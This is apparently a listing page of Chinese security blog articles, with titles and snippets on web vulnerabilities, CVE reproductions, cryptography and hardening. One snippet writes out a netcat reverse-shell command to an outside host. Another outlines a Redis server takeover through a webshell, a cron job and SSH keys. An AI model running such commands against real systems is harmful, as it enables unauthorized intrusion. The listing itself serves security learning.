常见web漏洞
SQL注入漏洞原理：网站对用户输入的数据没有经过严格的过滤导致带入到数据库中执行造成数据库信息泄露注入类型：按注入点类型： 数字型、字符型、搜索型；按数据库类型： Access、MsSQL、MySQL、Oracle、DB2等；按提交方式： GET、POST、Cookie、HTTP头、XFF；按执行
真实！震惊！被黑客攻击盗取数据的真实记录！！
而收到攻击后,黑客主动开始联系你,他敢主动露面一定是算出你不能及时的解决这个问题,要么停止推广 把这个事情解决,这时候你的损失将可能更多,不能把你薅疼,薅疼了你就急了,这个精准计算不光是数据和信息的判断,还有很多经验的因素在里面.他的目的是要钱,不能让你死,让你死是竞争对手干的事.黑客挑选目标有一定
信息安全-防火墙技术原理与应用
防火墙概述、防火墙类型与实现技术、防火墙主要产品与技术指标、防火墙防御体系结构、防火墙技术应用
CVE-2019-0708（BlueKeep）漏洞分析与复现
文章目录一、 漏洞简介1、漏洞介绍：2、漏洞原理：3、影响版本：二、 漏洞复现复现环境：复现过程：1、主机发现：2、使用MSF的漏洞模块：3、对靶机进行漏洞扫描：4、使用攻击模块，对靶机进行攻击5、使用POC，进行蓝屏攻击一、 漏洞简介1、漏洞介绍：2019年5月14日微软官方发布安全补丁，修复了
密码分析（一）：差分密码分析
差分密码分析是方法是攻击迭代型分组密码的最有效的方式之一，也是最基础的一种密码分析手段，同时也是衡量一个分组密码安全性的重要指标之一。差分密码分析的原理比较简单，发展至今，该方法出现了很多的变种，但万变不离其宗，本质上就是研究差分在加解密过程中的概率传播特性。
Nessus 扫描web服务
Nessus 扫描web服务
[CVE-2016-4437] Apache Shiro 安全框架反序列化漏洞复现与原理详细分析
Apache Shiro是一个强大且易用的 Java安全框架,执行身份验证、授权、密码和会话管理。shiro 相比于 springsecurity 简单许多，官方号称 10 分钟就能学会。shiro 反序列化漏洞是 Java 经典漏洞，于2016年被挖掘出来，到现在依旧很多系统存在该漏洞，非常值得学
安全运营和应急响应详解
在安全运维的基础上，高效持续的提升企业安全防御能力，实现可视化监控、自主防御，能够发现安全问题、分析安全问题、解决安全问题。1）信息系统故障的防范原则是：预防为主、及时处理、力争把故障的损失降低到最小。2）信息中心负责制定、完善和落实计算机信息系统的规章制度、管理办法和操作规程等，建立完善的制度保障
前端常用加密方式及使用
前端常用加密方式有RSA加密、AES加密、MD5加密、SHA256加密以及国密：/ 生成随机字符串 function randomString(len) { len = len || 16; const $chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkm
MacOS对文件夹加密的方法
MacOS对文件夹加密的方法
现代密码学复习
现代密码学知识大汇总
文件操作安全之-文件解析原理篇
从文件解析的定义，文件解析漏洞原理，文件解析漏洞的具体案例，例如Apache http服务器CVE-2017-15715和NginxCVE-2013-4547文件解析漏洞，以及文件解析漏洞潜在的危害阐述文件解析漏洞中的安全问题。
漏洞复现 - - - 未授权访问漏洞Redis
未授权访问漏洞Redis, 通过redis数据备份功能，往WEB网站根目录写入一句话木马，利用shell得到WEB网站权限,通过定时任务反弹Shell,写SSH公钥，实现免密登录linux服务器
内网渗透-常用反弹shell方法总结
常用反弹shell方法总结文章目录常用反弹shell方法总结前言bash反弹shellnc反弹shell1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 99992. 如果linux中nc没有-e参数3.nc 弹windows下的shell:whois 反弹she
74cms 5.0.1 版本命令执行漏洞复现
从整体分析来看，对site_domain的输入，只会使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter这几个函数做过滤，对于执行php代码，写入shell，有影响的只有strip_tags，可以通过编码绕过正常的url.php文件
ORACLE安全加固篇
oracle合规性设置，oracle安全加固
如何解决Web前端安全问题？
介绍了Web前端安全问题产生原因，然后给出了对应的解决策略，从而降低和避免网站被攻击的可能性，另外可以看到Web安全是一个很大的课题，Web前端安全仅是其中的一个最前端和常见的领域，也可以看到要开发一个安全性非常高的Web安全网站是多么困难，但随着技术的发展，特别是量子计算机通信的出现，未来必然会出
XML 外部实体 (XXE) 漏洞及其修复方法
PHP拥有可能是最流行的后端Web应用程序语言的称号，因此，它是攻击者的主要目标，包括XXE攻击。由于攻击者经常发现新的漏洞，因此必须保持您的PHP版本是最新的以保护您的应用程序。它们不能用于获取二进制文件，或包含类似于XML但实际上不是有效XML的代码的文件。XXE（XML外部实体注入）是一种常见
Kali中网卡配置_Wifi扫描_抓包_密码破解
设备Kali系统+一块外接无线网卡网上搜Kali网卡选择购买即可.
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )
1. 内容主要介绍shiro反序列化漏洞的原理和工具的利用。2. 要加深对漏洞的理解还是需要多研究一下自己编写需要的程序。
